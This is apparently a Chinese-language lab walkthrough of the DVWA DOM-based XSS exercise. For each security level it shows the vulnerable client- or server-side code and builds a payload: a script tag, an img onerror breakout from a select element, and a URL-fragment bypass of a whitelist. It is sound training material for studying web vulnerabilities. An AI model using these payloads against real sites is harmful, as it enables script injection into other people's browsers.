0x00简介
DOM XSS漏洞是基于文档对象模型(Document Object Model,DOM)的一种漏洞。DOM是一个与平台、编程语言无关的接口,它允许程序或脚本动态地访问和更新文档内容、结构和样式,处理后的结果能够成为显示页面的一部分。
DOM中有很多对象,其中一些是用户可以操纵的,如url、location、refere等。客户端的脚本程序可以通过DOM动态地检查和修改页面内容,它不依赖于提交数据到服务器端,而是从客户端获得DOM中的数据在本地执行,如果DOM中的数据没有经过严格确认,就会产生DOM XSS漏洞。
0x01 Low级别
查看服务器端源代码:
什么都没有。
查看页面源代码:
页面中的JavaScript代码:
if (document.location.href.indexOf("default=") >= 0) {
#判断 "default=" 是否存在var lang = document.location.href.substring(document.location.href.indexOf("default=")+8);# 取出 default 的值,并赋值给变量langdocument.write("<option value='" + lang + "'>" + decodeURI(lang) + "</option>");# 将lang重新写入页面,在此产生XSSdocument.write("<option value='' disabled='disabled'>----</option>");#disabled属性规定某个选项应该被禁用。被禁用的选项既不可用,也不可点击。}
所以我们插入的 javascript 代码可以在 decodeURL(lang) 被执行。
构造payload:
English<script>alert(/xss/);</script>
恶意链接为:
http://192.168.124.6/DVWA/vulnerabilities/xss_d/?default=English<script>alert(/xss/);</script>
写入页面后,效果如下:
<option value="English%3Cscript%3Ealert(/xss/);%3C/script%3E">English<script>alert(/xss/);</script></option>
URLdecode后:
<option value="English<script>alert(/xss/);</script>">English<script>alert(/xss/);</script></option>
0x02 Medium级别
查看服务器端源代码:
<?php// Is there any input?
if ( array_key_exists( "default", $_GET ) && !is_null ($_GET[ 'default' ]) ) {
$default = $_GET['default'];# Do not allow script tagsif (stripos ($default, "<script") !== false) {
header ("location: ?default=English");exit;}
}?>
其中stripos( )过滤掉了|<script>
|标签,所以我们用img标签的onerror事件触发xss。网页的源代码没有变化。
构造payload:
English</option></select><img src=1 onerror=alert(/xss/)>
恶意链接为:
http://192.168.124.6/DVWA/vulnerabilities/xss_d/?default=English</option></select><img src=1 onerror=alert(/xss/)>
写入页面后,效果如下:
<option value="English%3C/option%3E%3C/select%3E%3Cimg%20src=1%20οnerrοr=alert(/xss/)%3E">English</option>
</select>
<img onerror="alert(/xss/)" src="1">
URLdecode后:
<option value="English</option></select><img src=1 οnerrοr=alert(/xss/)>">English</option>
</select>
<img onerror="alert(/xss/)" src="1">
0x03 High级别
查看服务器端源代码:
<?php// Is there any input?
if ( array_key_exists( "default", $_GET ) && !is_null ($_GET[ 'default' ]) ) {
# White list the allowable languagesswitch ($_GET['default']) {
case "French":case "English":case "German":case "Spanish":# okbreak;default:header ("location: ?default=English");exit;}
}?>
发现使用了白名单,只允许上传的default值为French、English、German、Spanish其中的一个,页面的源代码无变化。
由于 form表单提交的数据时,先经过JS 过滤,再提交到后端PHP。所以注释部分的javascript 代码不会被传到服务器端(也就符合了白名单的要求)。
构造payload:
English #<script>alert(/xss/)</script>
恶意链接为:
http://192.168.124.6/DVWA/vulnerabilities/xss_d/?default=English #<script>alert(/xss/)</script>
写入页面后,效果如下:
<option value="English%3Cscript%3Ealert(/xss/);%3C/script%3E">English
<script>alert(/xss/);</script>
</option>
URLdecode后:
<option value="English<script>alert(/xss/);</script>">English
<script>alert(/xss/);</script>
</option>
0x04 Impossible级别
查看服务器端源代码:
什么都没有。
查看页面源代码:
消除了XSS(DOM)。